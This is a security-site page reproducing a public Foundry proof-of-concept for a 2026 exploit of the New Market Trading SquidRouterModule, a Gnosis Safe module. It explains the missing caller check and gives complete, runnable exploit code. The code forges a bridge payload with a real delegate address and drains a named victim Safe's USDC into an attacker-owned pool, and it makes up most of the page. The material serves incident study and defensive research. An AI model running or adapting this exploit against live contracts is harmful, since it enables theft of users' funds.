Skip to content
THREATWIRE

Public reproduction file

src/test/2026-05/NewMarketTrading_exp.sol

Public reproduction file for dataset entry New Market Trading.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2026-05/NewMarketTrading_exp.sol211 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$3.98M USD across 88 Gnosis Safes on Ethereum / Base / Arbitrum
8// (this PoC drains one Ethereum victim Safe: ~5,806 USDC)
9// Attacker : 0x7c82cB4b2909C50C7c0F2B696Eee7565e0a23BB8 (main operator)
10// 0x9BDC730183821b6bb2B51BE30B77C964FA645b91 (co-operator, sent this tx)
11// Attack Contract : 0xe1d5FCfBba4d46F4937de369De415dD7E2D3265a (Ethereum wrapper)
12// Vulnerable Contract : 0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca (New Market Trading "SquidRouterModule" Safe module)
13// Victim Safe : 0xa081B9F72d586624F2eaA1eaCf53C1A268810e4E
14// Attack Tx : 0x59d17fd31e31959b2d562508bf91c4fc1271682ba7d61a6209865e1151b69aea
15// @Analysis
16// Attack date: May 25, 2026 Chain: Ethereum Block: 25170513
17// rekt.news: https://rekt.news/newmarkettrading-rekt
18// Verified source (same address, Base): https://base.blockscout.com/address/0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca?tab=contract
19//
20// Run (Cancun EVM is required -- the Uniswap UniversalRouter uses EIP-1153 transient storage;
21// the repo default evm_version is 'shanghai'):
22// FOUNDRY_EVM_VERSION=cancun forge test --contracts src/test/2026-05/NewMarketTrading_exp.sol \
23// --match-contract NewMarketTradingExploit -vv
24//
25// Root Cause:
26// The SquidRouterModule is a Gnosis Safe module that lets a whitelisted Squid/Axelar bridge message run
27// swap/approve actions on a Safe. It inherits Axelar's AxelarExpressExecutableWithToken, which exposes:
28//
29// function expressExecuteWithToken(bytes32 commandId, string sourceChain, string sourceAddress,
30// bytes payload, string symbol, uint256 amount) external payable {
31// ...
32// IERC20(gatewayToken).safeTransferFrom(msg.sender, address(this), amount); // relayer fronts `amount`
33// _executeWithToken(commandId, sourceChain, sourceAddress, payload, symbol, amount);
34// }
35//
36// This is the Axelar "express" fast path: ANYONE may call it. A relayer is supposed to front `amount`
37// tokens and be reimbursed later when the real cross-chain message clears gateway.validateContractCallAndMint().
38// The express path therefore performs NO gateway/cryptographic validation of the message.
39//
40// The module's override trusts caller-supplied data instead of the actual caller:
41//
42// function _executeWithToken(..., string sourceAddress, bytes payload, string tokenSymbol, uint256 amount) {
43// address srcAddress = Strings.parseAddress(sourceAddress);
44// require(srcAddress == squidRouter, InvalidSourceAddress(srcAddress)); // <- compares a STRING the caller passed
45// _processPayload(IERC20(_getTokenAddress(tokenSymbol)), amount, payload);
46// }
47// function _processPayload(IERC20 bridgedToken, uint256 amount, bytes payload) {
48// (address module, address safe, address delegate, ActionsExecutionParams params)
49// = abi.decode(payload, (address, address, address, ActionsExecutionParams)); // <- delegate & safe from payload
50// require(module == address(this), ...);
51// bridgedToken.safeTransfer(safe, amount);
52// _handleActions(safe, delegate, params); // checks delegate's permission, never msg.sender == delegate
53// }
54//
55// Missing check: require(msg.sender == delegate) (and/or genuine Axelar gateway validation on this path).
56//
57// Exploit (NO flash loan, NO funds fronted):
58// 1. Call expressExecuteWithToken with amount = 0 -> safeTransferFrom(attacker, module, 0) costs nothing.
59// 2. sourceAddress = the public squidRouter address string -> passes the require.
60// 3. payload carries: module = the module, safe = victim Safe, delegate = a REAL public NMT delegate
61// (0x0f7aAa84...) that already holds APPROVE+SWAP permission on the Safe, and 3 actions:
62// a. ERC20_APPROVE (USDC -> Permit2)
63// b. PERMIT2_APPROVE (USDC -> UniversalRouter)
64// c. UNI_V3_SWAP_EXACT_IN USDC -> worthless "u" token, amountOutMin = 0
65// The module drives the Safe to swap its entire USDC into the attacker-owned Uniswap V3 pool.
66//
67// Function selectors:
68// 0x_express... : expressExecuteWithToken(bytes32,string,string,bytes,string,uint256) -- public Axelar express entry
70interface ISquidRouterModule {
71 enum ExecuteActionType {
72 UNI_V2_SWAP_EXACT_IN, // 0
73 UNI_V2_SWAP_EXACT_OUT, // 1
74 UNI_V3_SWAP_EXACT_IN, // 2
75 UNI_V3_SWAP_EXACT_OUT, // 3
76 ERC20_APPROVE, // 4
77 PERMIT2_APPROVE, // 5
78 NATIVE_WRAP, // 6
79 NATIVE_UNWRAP // 7
80 }
82 struct ExecuteAction {
83 ExecuteActionType actionType;
84 bytes encodedData;
85 }
87 struct ActionsExecutionParams {
88 ExecuteAction[] actions;
89 bool isStrict;
90 }
92 function squidRouter() external view returns (address);
93 function permit2() external view returns (address);
94 function isUniversalRouter(
95 address router
96 ) external view returns (bool);
98 function expressExecuteWithToken(
99 bytes32 commandId,
100 string calldata sourceChain,
101 string calldata sourceAddress,
102 bytes calldata payload,
103 string calldata symbol,
104 uint256 amount
105 ) external payable;
108contract NewMarketTradingExploit is Test {
109 ISquidRouterModule constant MODULE = ISquidRouterModule(0x1f1d37a3Bf840e35c6a860c7C2dA71Fe555123ca);
110 IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
111 IERC20 constant FAKE_U = IERC20(0xe6Ff0FE017D09D690493deC0F0f55E8f9Cdc3512); // worthless "u" token
113 address constant VICTIM_SAFE = 0xa081B9F72d586624F2eaA1eaCf53C1A268810e4E;
114 // A REAL, public NMT delegate that already holds APPROVE + SWAP permission on the Safe.
115 address constant REAL_DELEGATE = 0x0f7aAa8457aD4c54093039CECf6036fB28bcBeF0;
116 // Squid/Axelar router whose address-string the require() compares against (immutable on the module).
117 address constant SQUID_ROUTER = 0xce16F69375520ab01377ce7B88f5BA8C48F8D666;
118 string constant SQUID_ROUTER_STR = "0xce16F69375520ab01377ce7B88f5BA8C48F8D666";
119 // Universal Router whitelisted in the module; routes the Safe's USDC into the attacker pool.
120 address constant UNIVERSAL_ROUTER = 0x66a9893cC07D91D95644AEDD05D03f95e1dBA8Af;
121 uint24 constant POOL_FEE = 500; // 0x0001f4, USDC/u pool fee tier
123 uint256 constant ATTACK_BLOCK = 25_170_513;
125 // The vulnerable module performs NO caller check, so ANY address can drive this drain. We prank as the
126 // real attacker EOA (this tx's actual tx.origin) only because the attacker's OWN sink token ("u") has an
127 // "only me" tx.origin guard that protects their poisoned pool from third parties -- that guard lives in the
128 // attacker's token, NOT in the SquidRouterModule.
129 address constant ATTACKER = 0x9BDC730183821b6bb2B51BE30B77C964FA645b91;
131 function setUp() public {
132 vm.createSelectFork("mainnet", ATTACK_BLOCK - 1);
133 vm.label(address(MODULE), "SquidRouterModule");
134 vm.label(address(USDC), "USDC");
135 vm.label(address(FAKE_U), "FAKE_u_token");
136 vm.label(VICTIM_SAFE, "VictimSafe");
137 vm.label(REAL_DELEGATE, "RealDelegate");
138 vm.label(UNIVERSAL_ROUTER, "UniversalRouter");
139 vm.label(ATTACKER, "Attacker");
140 }
142 function testExploit() public {
143 console.log("--- New Market Trading SquidRouterModule: payload-forgery Safe drain ---");
144 console.log("Attack date: May 25, 2026 Chain: Ethereum Block: %s", ATTACK_BLOCK);
146 // Sanity: the require() target is just the public router address compared as a string.
147 require(MODULE.squidRouter() == SQUID_ROUTER, "squidRouter mismatch");
148 require(MODULE.isUniversalRouter(UNIVERSAL_ROUTER), "router not whitelisted");
150 uint256 safeUsdcBefore = USDC.balanceOf(VICTIM_SAFE);
151 console.log("\nVictim Safe USDC before :", safeUsdcBefore / 1e6, "USDC");
152 console.log("Safe 'u' token before :", FAKE_U.balanceOf(VICTIM_SAFE));
153 require(safeUsdcBefore > 0, "safe has no USDC at fork block");
155 // Swap the Safe's ENTIRE USDC balance, amountOutMin = 0 (attacker controls the pool).
156 uint256 amountIn = safeUsdcBefore;
157 bytes memory swapPath = abi.encodePacked(address(USDC), POOL_FEE, address(FAKE_U));
159 // Build the 3 actions the module will run against the Safe.
160 ISquidRouterModule.ExecuteAction[] memory actions = new ISquidRouterModule.ExecuteAction[](3);
162 // (a) ERC20_APPROVE: Safe approves Permit2 to move its USDC.
163 actions[0] = ISquidRouterModule.ExecuteAction({
164 actionType: ISquidRouterModule.ExecuteActionType.ERC20_APPROVE,
165 encodedData: abi.encode(address(USDC), MODULE.permit2(), type(uint256).max)
166 });
167 // (b) PERMIT2_APPROVE: Safe authorizes the Universal Router via Permit2.
168 actions[1] = ISquidRouterModule.ExecuteAction({
169 actionType: ISquidRouterModule.ExecuteActionType.PERMIT2_APPROVE,
170 encodedData: abi.encode(address(USDC), UNIVERSAL_ROUTER, type(uint160).max)
171 });
172 // (c) UNI_V3_SWAP_EXACT_IN: dump the Safe's USDC into the attacker-owned pool for worthless "u".
173 actions[2] = ISquidRouterModule.ExecuteAction({
174 actionType: ISquidRouterModule.ExecuteActionType.UNI_V3_SWAP_EXACT_IN,
175 encodedData: abi.encode(UNIVERSAL_ROUTER, amountIn, uint256(0), block.timestamp + 600, swapPath)
176 });
178 ISquidRouterModule.ActionsExecutionParams memory params =
179 ISquidRouterModule.ActionsExecutionParams({actions: actions, isStrict: true});
181 // payload = abi.encode(module, safe, delegate, params) -- exactly what _processPayload decodes.
182 bytes memory payload = abi.encode(address(MODULE), VICTIM_SAFE, REAL_DELEGATE, params);
184 // The attacker fronts ZERO tokens: symbol "WETH", amount 0 -> safeTransferFrom(attacker, module, 0).
185 // prank sets both msg.sender and tx.origin to the attacker EOA (the latter satisfies the attacker's
186 // own sink-token guard; the module itself never inspects either).
187 vm.prank(ATTACKER, ATTACKER);
188 MODULE.expressExecuteWithToken(
189 keccak256("nmt-poc-commandId"), // any unused commandId (isCommandExecuted == false)
190 "", // sourceChain (ignored)
191 SQUID_ROUTER_STR, // caller-supplied "source address" string -> passes the require
192 payload,
193 "WETH", // bridged token symbol (amount 0, irrelevant)
194 0
195 );
197 uint256 safeUsdcAfter = USDC.balanceOf(VICTIM_SAFE);
198 console.log("\n=== After expressExecuteWithToken (no funds fronted, no gateway message) ===");
199 console.log("Victim Safe USDC after :", safeUsdcAfter / 1e6, "USDC");
200 console.log("Safe 'u' token after :", FAKE_U.balanceOf(VICTIM_SAFE));
201 console.log("USDC drained out of Safe:", (safeUsdcBefore - safeUsdcAfter) / 1e6, "USDC");
203 // The Safe's USDC is gone; it received only worthless "u" tokens.
204 assertEq(safeUsdcAfter, 0, "Safe USDC was not fully drained");
205 assertGt(FAKE_U.balanceOf(VICTIM_SAFE), 0, "Safe did not receive worthless token");
207 console.log(
208 "\nPayload-forgery confirmed: an unauthorized caller drained the Safe's USDC with no funds fronted."
209 );
210 }

Analysis

Dataset entry

Public Foundry test for “New Market Trading” (2026-05-25). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x7c82cb4b2909c50c7c0f2b696eee7565e0a23bb8

  • Attack Contract

    0xe1d5fcfbba4d46f4937de369de415dd7e2d3265a

  • Vulnerable Contract

    0x1f1d37a3bf840e35c6a860c7c2da71fe555123ca

  • Victim

    0xa081b9f72d586624f2eaa1eacf53c1a268810e4e

  • Attack Tx

    0x59d17fd31e31959b2d562508bf91c4fc1271682ba7d61a6209865e1151b69aea

File record

Name
New Market Trading
Path
src/test/2026-05/NewMarketTrading_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
265fbddf9bb4a15d829d7fc992bacb35ac14091d
Language
Solidity
Size
212 lines
Date
2026-05-25
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2026-05/NewMarketTrading_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 265fbddf9bb4a15d829d7fc992bacb35ac14091d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.